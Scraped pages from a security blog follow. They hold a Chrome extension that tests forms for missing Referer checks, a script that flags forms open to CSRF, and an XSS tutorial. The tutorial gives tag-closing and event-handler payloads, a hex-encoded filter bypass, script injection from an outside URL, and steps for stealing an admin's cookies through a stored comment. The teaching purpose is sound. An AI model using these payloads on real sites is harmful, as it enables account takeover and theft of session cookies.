  "icons":{"16": "icons/icon_16.png","48": "icons/icon_48.png","128": "icons/icon_128.png"},
  "content_scripts": [{
    "matches": ["*://*/*"],
    "js": ["jquery.js","base.js"],
    "run_at": "document_end"
  }]
}

content_security_policy, CSP for short, restricts extension security.

permissions is what the extension asks Chrome for.

content_scripts means that on any scheme, after the page loads, jquery.js and base.js run. JavaScript this points at the current page.

background: JavaScript this points at the extension. It handles communication between base.js and background.js.

The JavaScript from the previous post all lives in base.js. The Referer check below is also written in that file.

0x03 Detect whether the target checks Referer

To keep the code below shorter, first assign the current form’s action to a variable: actionCache = formDom.attr("action");

Then match the action URL. Why? Because action can look like any of these:

#test

./test.php && ./test(handled the same way)

/test.php?a=11

test.php

http://baidu.com/?s=

We match with switch:

switch(actionCache[0]){
    case "#":
        actionPath = location.href + actionCache;
        break;
    case "/":
        actionPath = location.origin + actionCache;
        break;
    case ".":
        if(actionCache.indexOf("?") != "-1"){
            actionvParameter = "?" + actionCache.split("?")[1];
            actionCache = actionCache.slice(0,actionCache.indexOf("?"));
        }
        if(location.href.split("/").pop().split(".").length == 1){
            actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
        }
        break;
    default:
        if(location.protocol == "http:" || location.protocol == "https:"){
            actionPath = location.href;
            break;
        }
        if(location.href.split("/").pop().split(".").length == 1){
            actionPath = location.href + "/" + actionCache;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache;
        }
        break;
}

When the first character of action is #, concatenate with location.href + actionCache;.

When the first character of action is /, concatenate with location.origin + actionCache;.

When the first character of action is .: First use indexOf to copy the query into a variable and strip it:

if(actionCache.indexOf("?") != "-1"){
    actionvParameter = "?" + actionCache.split("?")[1];
    actionCache = actionCache.slice(0,actionCache.indexOf("?"));
}

Details:

Then branch on whether the current URL has a suffix:

if(location.href.split("/").pop().split(".").length == 1){
    actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
}else{
    actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
}

location.href.split("/").pop().split(".").length checks whether the current URL has a suffix. With a suffix the length is 2. Without a suffix it is 1. If there is no query, nothing extra is appended, because the init variable is already an empty string. Details:

Besides those, action can be a bare filename or a full URL. I put that on the switch default branch, because actionCache[0] cannot match it:

default:
    if(location.protocol == "http:" || location.protocol == "https:"){
        actionPath = location.href;
        break;
    }
    if(location.href.split("/").pop().split(".").length == 1){
        actionPath = location.href + "/" + actionCache;
    }else{
        actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache;
    }
    break;

First check whether location.protocol is http or https. If so, use location.href;. If it is not http:// or https://, skip this if. Then check whether the URL has a suffix. If it does not, run: actionPath = location.href + "/" + actionCache;, as shown:

When there is a suffix, run: actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache;. As shown:

0x04 Simulate form parameters

Code:

for(var v = 0;v < formDom.find(":text").length;v++){
    var input = formDom.find(":text").eq(v);
    if(input.attr("name") != ""){
        if(input.val() == ""){
            ajaxParameter += input.attr("name") + "=" + "15874583485&";
        }else{
            ajaxParameter += input.attr("name") + "=" + input.val() + "&";
        }
    }else{
        continue;
    }
}
ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);

The for loop walks input tags with type text under the current form, then var input = formDom.find(":text").eq(v); assigns the current input to input.

Then if whether the current input has a name. If not, continue; skips this iteration of the loop whose init variable is v. If it does, check whether the input’s value is non-empty. If it is, append it to ajaxParameter: ajaxParameter += input.attr("name") + "=" + input.val() + "&";. If not, append 15874583485 to ajaxParameter. Why something that looks like a phone number? High tolerance. Each assignment also appends &, which is convenient for the ajax request below. The last & still needs to be stripped, hence: ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);.

0x04 Talk to the extension’s background.js

The Referer-detection idea: send one ajax request from the current site. Referer is the current URL, which is normal, same as submitting the form. Then pass the action URL, method, and parameters to the extension, and send another AJAX from the extension. When a Chrome extension sends AJAX, Referer is empty. Two submissions: if Referer is checked, the response lengths will differ; if not, the lengths will be the same (there can be small differences, for example a clock on the page, so the lengths differ even without a Referer check; we add some tolerance below).

Chrome gives extensions chrome.runtime.sendMessage to send and chrome.runtime.onMessage.addListener to receive. First, the chrome.runtime.sendMessage call in base.js:

$.ajax({
    url: actionPath,
    type: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'get':'post',
    dataType: 'html',
    data: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter,
    async: false,
})
.done(function(data){
    var firstAjax = data.length;
    var formCache = formDom;
    chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) < 10){
            formCache.attr("style","border: 1px red solid;")
        }
    });
})

A form’s method is not fixed, so ajax type is set with: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'get':'post', a ternary. When method is missing or get, type is get. When it is present (and not get), type is post.

The data option is the same idea, except there is no get/post choice, only '':ajaxParameter. When method is get, parameters already live on actionPath. When it is post, pass the concatenated parameters as data. Then measure the response length: var firstAjax = data.length;. Why assign the form to another variable below? I am not sure. The Chrome API’s scope may be different, so using formDom there gave the wrong result. Assigning to formCache made the API behave.

Then the Chrome API:

chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) < 10){
            formCache.attr("style","border: 1px red solid;")
        }
    });

action and parameter are the payload. (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter is the same as above: no parameter on get, ajaxParameter on post. response is the callback, like ajax done, with the result from background.js.

How background.js handles it:

chrome.runtime.onMessage.addListener(function(message,sender,sendResponse){
    $.ajax({
        url: message.action,
        type: (message.parameter == "")?'get':'post',
        dataType: 'html',
        data: (message.parameter == "")?'':message.parameter,
        async: false,
    })
    .done(function(data) {
        sendResponse({status: data.length})
    })
})

chrome.runtime.onMessage.addListener is the receive function, then AJAX. In done, sendResponse({status: data.length}) returns the length of the extension’s AJAX response. base.js then gets that result from background.js, and we are back to:

if(Math.abs(firstAjax - response.status) < 10){
    formCache.attr("style","border: 1px red solid;")
}

Math.abs is absolute value. When the length difference of the two ajax responses is less than 10, there is no Referer check. When it is greater than 10, there is a Referer check. 10 is the tolerance.

When a CSRF issue exists, the form gets a red border:

Automated CSRF detection

bh@bugs.cc (Kevin Cui) — Wed, 15 Jun 2016 12:49:37 GMT

0x00 Intro

I previously wrote an automated XSS detection extension. Today, an automated CSRF detection extension. CSRF shows up in several ways, and this post cannot cover all of them, for example JSON Hijacking (I will cover that in part 2 or 3). This chapter is about CSRF caused by form elements. The biggest difference between detecting form CSRF and detecting form XSS is: XSS needs a submit to detect, CSRF only needs to analyze the form.

0x01 Preparation

If we are going to write this, we need a demo that approximates a real environment. As 0x00 said, this chapter is only about forms, so the demo is a pile of different forms. As shown:

This covers most form types you see on the web. If you notice a type that is missing, tell me and I will add it in the next version.

First, iterate every form on the page. Code:

outerFor:
for(var i = 0;i < $("form").length;i++){
    var formDom = $("form").eq(i); // formDom is the form element for this iteration
    var imageFileSuffix = ['.jpg','.png','.jpge','.ico','.gif','.bmp']; // image-suffix whitelist, used to check whether an image is a captcha
    var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];  // useless-form blacklist, used to check whether this form is useful (input-based check); these keywords match Chinese form placeholder text
    var actionFilterKeyword = ['search','find','login','reg'];   // useless-form blacklist, used to check whether this form is useful (form-action-based check)
}

Why outerFor:? This is only the outer for loop. There are more loops inside. The label lets us skip this outer iteration from the innermost loop. In the innermost loop I use continue outerFor; to skip the current outer iteration. (If that did not click, go back one sentence and read it again. This matters.)

0x02 Filter out search, page-jump, and other useless forms

First, imagine special forms, for example a form with no action, where JavaScript sends the request. That pattern is common, so I first check whether action exists:

if(formDom.attr("action") != undefined){
    // when action is not empty, proceed to the next step
}

Then use JavaScript some on action. If the action value matches a string in the blacklist we set earlier, skip it with continue, which jumps out of this iteration of the loop whose init variable is i. In code:

if(formDom.attr("action") != undefined){
    var actionCheck = actionFilterKeyword.some(function(item,index){
        return (formDom.attr("action").toLowerCase().indexOf(item)  != "-1");
    })
    if(actionCheck){
        continue;
    }
}

If you are unclear on some, see: https://msdn.microsoft.com/zh-cn/library/ff679978(v=vs.94).aspx JavaScript is case-sensitive, so the code above uses toLowerCase() to lowercase the action value, then searches it for the action blacklist. The comparison looks like this:

action value – search (if this comparison is true, it will not compare further)

action value – find

…

The return value is a boolean. Professional JavaScript for Web Developers describes some as:

Runs the given function on each item in the array and returns true if the function returns true for any one item.

There is a variable in front of some. Because some returns a boolean, actionCheck is also a boolean. Suppose the current form’s action is “/searchArticle.php”. That matches the blacklist string search, so some stops and returns true. As shown:

Then if on actionCheck. If it is true, continue skips the rest of this iteration and starts the next one.

OK, that filters the form’s action. Next, filter inputs with a whitelist.

for(var x = 0;x < formDom.find(":text").length;x++){
    var inputTextCheck;
    var inputText =  formDom.find(":text").eq(x);
    if(inputText.attr("placeholder") == undefined){
        continue;
    }
    inputTextCheck = placeholderFilterKeyword.some(function(item,index){
        return (inputText.attr("placeholder").toLowerCase().indexOf(item)  != "-1");
    })
    if(inputTextCheck){
        continue outerFor;
    }
}

First use (":text") to iterate every input with type text under the current form.

inputTextCheck holds the boolean from some. inputText is the current input.

Then if whether the current input has a placeholder. If not, skip this iteration of the loop whose init variable is x. Do not continue downward; run the same steps on the next input. If placeholder exists and has a value, the if expression is false, so that if does not run, and we continue to:

inputTextCheck = placeholderFilterKeyword.some(function(item,index){
    return (inputText.attr("placeholder").toLowerCase().indexOf(item)  != "-1");
})
if(inputTextCheck){
    continue outerFor;
}

This is the same as the action check, so I will not repeat it.

0x03 Filter out forms with no submit button

Why this? Some forms are not for users. They have no submit button. They are invisible to the user, and they do not touch core operations, so we drop them. Code:

if(formDom.find(":submit").length < 1){
    continue;
}

This is simple, so I will not walk through it.

0x04 Filter out forms with a token

For CSRF, a form with a token can basically be treated as not vulnerable, excluding the case where the same page has both XSS and CSRF.

How do we find a token? type is hidden? name contains token? No. Those are not accurate enough to cut false positives and still keep coverage. What we do: check whether the value of a hidden input is longer than 10.

What is special about a token input:

type is hidden

For safety, a token is generally not shorter than 10 characters.

It is always sent to the backend as an input.

OK, iterate every hidden input under the current form, then check whether value length is greater than 10. If it is, this form is very likely token-protected and the program drops it. Skip this iteration of the loop whose init variable is i. In code:

for(var j = 0;j < formDom.find(":hidden").length;j++){
    if(formDom.find(":hidden").eq(j).val().length > 10){
        continue outerFor;
    }
}

The program is not complex. The idea is. So there is not much code here, and it is simple. I will not walk through it.

0x05 Filter out forms with a captcha

After writing the automated XSS detector, this part is clearer. Take the img src, and check whether the suffix is an image type. Code:

if(formDom.find("img").length > 0){
    var imageCheck;
    for(var z = 0;z < formDom.find("img").length;z++){
        var img = formDom.find("img").eq(z);
        var imgSrc = img.attr("src")
        if(!!imgSrc){
            if(imgSrc.indexOf("?") != "-1"){
                imgSrc = imgSrc.slice(0,imgSrc.indexOf("?"));
            }
            imgSrc = imgSrc.substr(imgSrc.lastIndexOf("."),imgSrc.length);
            imageCheck = imageFileSuffix.some(function(item,index){
                return (imgSrc == item);
            })
            if(!imageCheck){
                continue outerFor;
            }
        }
    }
}

First, formDom.find("img").length checks whether the current form has images. If it does, the if is true. Inside, a variable holds the boolean from some.

Then a for loop over img tags in the current form. img is the current img tag. imgSrc is its src.

Next, if(!!imgSrc): this coerces imgSrc to a boolean. If the img has no src or an empty value, it is false. If src exists and has a value, it is true.

The next block strips everything after ?:

if(imgSrc.indexOf("?") != "-1"){
    imgSrc = imgSrc.slice(0,imgSrc.indexOf("?"));
}

Why? To keep captcha images from being cached, people append a question mark and a random number so each refresh requests the image again.

imgSrc = imgSrc.substr(imgSrc.lastIndexOf("."),imgSrc.length); strips everything except the suffix. For example, an img like: <img src="https://wwww.baidu.com/code.php?rand=458711541">. After the code above, only .php is left.

The some below is the same as before. The only extra is ! to negate. Previous checks were blacklists. This one is a whitelist, so we negate.

0x06 Other

The full code:

outerFor:
for(var i = 0;i < $("form").length;i++){
    var formDom = $("form").eq(i);
    var imageFileSuffix = ['.jpg','.png','.jpge','.ico','.gif','.bmp'];
    var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];
    var actionFilterKeyword = ['search','find','login','reg'];
    // remove useless forms such as search and page-jump forms
    if(formDom.attr("action") != undefined){
        var actionCheck = actionFilterKeyword.some(function(item,index){
            return (formDom.attr("action").toLowerCase().indexOf(item)  != "-1");
        })
        if(actionCheck){
            continue;
        }
    }
    for(var x = 0;x < formDom.find(":text").length;x++){
        var inputTextCheck;
        var inputText =  formDom.find(":text").eq(x);
        if(inputText.attr("placeholder") == undefined){
            continue;
        }
        inputTextCheck = placeholderFilterKeyword.some(function(item,index){
            return (inputText.attr("placeholder").toLowerCase().indexOf(item)  != "-1");
        })
        if(inputTextCheck){
            continue outerFor;
        }
    }
    // remove forms without a submit button
    if(formDom.find(":submit").length < 1){
        continue;
    }
    // remove forms that contain a token
    for(var j = 0;j < formDom.find(":hidden").length;j++){
        if(formDom.find(":hidden").eq(j).val().length > 10){
            continue outerFor;
        }
    }
    // remove forms that contain a captcha
    if(formDom.find("img").length > 0){
        var imageCheck;
        for(var z = 0;z < formDom.find("img").length;z++){
            var img = formDom.find("img").eq(z);
            var imgSrc = img.attr("src")
            if(!!imgSrc){
                if(imgSrc.indexOf("?") != "-1"){
                    imgSrc = imgSrc.slice(0,imgSrc.indexOf("?"));
                }
                imgSrc = imgSrc.substr(imgSrc.lastIndexOf("."),imgSrc.length);
                imageCheck = imageFileSuffix.some(function(item,index){
                    return (imgSrc == item);
                })
                if(!imageCheck){
                    continue outerFor;
                }
            }
        }
    }
    console.log(formDom)
}

console.log(formDom) can be changed to send a request with ajax, or alert that the page may have a CSRF issue. How you use it is up to you: pack it into a browser extension by hand. Here is the automated XSS extension I wrote earlier: http://pan.baidu.com/s/1ge5VTcf. Unpack it, replace the JavaScript with the full code above, and pack it again.

This post still has many gaps. The program is only a prototype, so I did not attach a ready-to-use tool. First time I have done it this way. A lot is not covered, such as JSON Hijacking detection. The next chapter will finish that, and I will also release a tool you can use directly. Part 2 or 3 may combine the earlier XSS automation with this CSRF detection. XSS plus CSRF is much more dangerous.

XSS principles, dissected

bh@bugs.cc (Kevin Cui) — Mon, 30 May 2016 03:27:07 GMT

0x01 Preface

There was not much material on XSS attacks at first (mostly ready-made payloads, nothing from first principles). Things improved after 刺’s “Web Security From a White Hat’s Perspective” and cn4rry’s “XSS Cross-Site Scripting: Analysis and Defense”.

I will skip the history of XSS. XSS is a popular attack that still does not get much respect. Why:

Time-consuming
A real chance it fails
No software that fully automates the attack
Early on you need basic HTML and JS. Later you need solid HTML, JS, ActionScript 2/3.0, and so on
It is a passive attack
Useless against a website with HttpOnly and crossdomian.xml

None of that stopped attackers from loving this bug. One reason is enough: “XSS exists on almost every site. Google, Baidu, 360, all of them.”

0x02 How it works

First, set up a local PHP environment (phpStudy is fine). Then put this in index.php:

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>XSS principle reproduction</title>
    </head>
    <body>
        <form action="" method="get">
            <input type="text" name="xss_input">
            <input type="submit">
        </form>
        <hr>
        <?php
        $xss = $_GET['xss_input'];
        echo 'The characters you entered are<br>'.$xss;
        ?>
    </body>
</html>

You will see a page like this:

Try typing abcd123. The result:

Now look at the source:

The string we typed is echoed as-is. Here is a hypothesis: what if we type <script>alert('xss')</script> in the box? Following the example above, it should land between <br> and </boby> on line 12, becoming <br><script>alert('xss')</script></boby>, and a dialog should pop.

Hypothesis stated. Time to test it.

Type <script>alert('xss')</script>. The page:

The dialog pops. At this point you can basically confirm an XSS vulnerability.

Look at the source again:

The hypothesis holds. This section is the principle. The next sections cover construction and exploitation.

0x03 Crafting payloads from the output context

The last section was the principle. The sink is not always between <br> and </boby>. It can sit in an HTML attribute or inside another tag. This section matters, because typing

<script>alert('xss')</script> does not always pop a dialog.

The code first:

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>XSS: constructing code using the output context</title>
    </head>
    <body>
        <center>
            <h6>Output our input string into the value attribute of the input</h6>
            <form action="" method="get">
                <h6>Enter the string you want to display</h6>
                <input type="text" name="xss_input_value" value="input"><br>
                <input type="submit">
            </form>
            <hr>
            <?php
            $xss = $_GET['xss_input_value'];
            if(isset($xss)){
                echo '<input type="text" value="'.$xss.'">';
            }else{
                echo '<input type="type" value="output">';
            }
            ?>
        </center>
    </body>
</html>

The page looks like this:

This takes the string from the first input and writes it into the second. Type 1, and the second input’s value is 1. Screenshots of the page and the source (I typed <script>alert('xss')</script> to test):

No dialog. You might wonder why. Look at the source:

The string landed in the value attribute of the input on line 15. It is treated as the value, so there is no popup. What now? Clever people already noticed you can prefix <script>alert('xss')</script> with "> to close the input tag. The result should be:

The dialog pops. Look at the page now:

There is a leftover "> after the second input. Why? Look at the source:

The payload contains two ">. The first closes the input. The second is leftover. HTML is forgiving, so unlike PHP it does not error; it just prints the extra characters. Some people are perfectionists and do not want leftover text. Then what?

A question: why did every XSS payload so far use tags? Can you do it without tags? Yes. Use an attribute on the existing tag. The payload is shorter, and nothing extra is printed.

Same environment, but no tags allowed. What do you do? Which input attributes can run JS? If you know HTML, you already have it: event handlers. We can pop a dialog with an on* handler. For example: " onclick="alert('xss')

Try it. See what the page does.

No dialog. Did it fail? No. onclick fires on click. Click the second input, and it runs alert('xss'). Try it:

After I clicked, the dialog appeared. The source:

Line 15: value is empty. A click pops the dialog. Someone will ask: if it needs a click, isn’t that annoying, and doesn’t the success rate drop? Event handlers are not only onclick. There are many. If you do not want the user to do anything, change onclick to

onmousemove: fires when the mouse moves
onload: fires when the page finishes loading

And more. I will not list them all. Look them up if you want.

That is not the end. There is another context where the methods above do not work.

What if the sink is inside <textarea>? Or inside something with higher priority than script?

Like this:

What then? We already closed attributes and tags. Can we close a whole element? Yes. Type </textarea><script>alert('xss')</script> and the dialog pops.

0x04 Bypassing filters

Suppose the site filters script. Then what? One line I keep coming back to: “XSS is running the JS you want on the page.” Do not overthink it. If our JS runs, we are done. Use img or a, for example:

<img scr=1 onerror=alert('xss')> when the image file named 1 is not found, run alert('xss')
<a href=javascrip:alert('xss')>s</a> click s to run alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> use the iframe's scr to pop an alert
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> bypasses an alert filter to trigger the popup

There are many more. Do not lock yourself to one pattern. Remember: “XSS is running the JS you want on the page.” Everything else can wait. (Sometimes it cannot.)

0x05 Exploiting XSS

After all that, people might think XSS is about popping dialogs. Wrong. The dialog only tests that XSS exists and that it runs.

Now we insert JS. How?

Like this:

<script scr="js_url"></script>

Or this:

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

All kinds of ways. As long as our JS runs, we are done. What is the JS for?

JS can do a lot: steal cookies (useless against HttpOnly), drive the user’s actions (posts, private messages), and so on.

For example, leave <script scr="js_url"></script> in a comment. When an admin opens the comment in the backend, it fires. You get their cookies, the backend URL, the browser version, and so on. Then use the “Guilin Veteran cookie spoofing tool” to swap your cookies, and you log in as admin without account, password, or captcha.

What if you cannot write JS? There are plenty of XSS platforms online. Search Baidu. They are point-and-click. I will not go further here.

Kevin Cui's Blog

A 6.47 MB JS String Occupied 15.4 MB of Memory

The symptom

Why two bytes

The fix

Script source on Cloudflare Workers

How to check

Closing

Troubleshooting Periodic 100% CPU on a Bun Service

The symptom

Reading /proc in the pod

Every spike was a Kafka send

The 1ms setTimeout in kafkajs

Why Bun pegs a whole core

Reproducing it locally

The fix

Footnotes

Troubleshooting Electron 39.6.0 Tag Build Failure on Windows

View and analyze Electron crashes on macOS

Locating Local Crash Logs

Analyzing Crash Files

Using breakpad

Using lldb

Switch Kernel for Fedora(40)

Footnotes

Podman basics and how it talks to containers

Architecture sketch

Machine

Communication

SSH

GVP (gvisor-tap-vsock)

API forwarding

MacOS

Windows

Footnotes

Build / debug Electron source

Intro {#intro}

Build {#build}

Debug (CLion) {#debug}

Issues {#issues}

Setting macOS SDK {#set-macos-sdk}

Dugite download failure workaround {#dugite-solution}

Footnotes

Dynamically modifying a Protocol Buffers string message

Preface

Notes on string encoding

Implementation

Download and build Chromium on macOS 10.15

Download

Build

Footnotes

How server-side recording works

Overview

Features

How it works

Challenges

Analysis

Deployment

Open source

Footnotes

Pitfalls of requesting camera and microphone permission for an Electron app on macOS

Footnotes

Web security overview

Preface

Frontend

XSS

DOM XSS

Backend

Reflected XSS

Stored XSS

CSRF

SSRF

JSON hijacking

Footnotes

Flexible scheduling of a k8s cluster based on task volume

Intro

Workflow

Implementation

Set up a debuggable k8s environment

Create Job and Pod

Using `breakpad`

Using `lldb`

1. Compute duration and assign it to the `blob`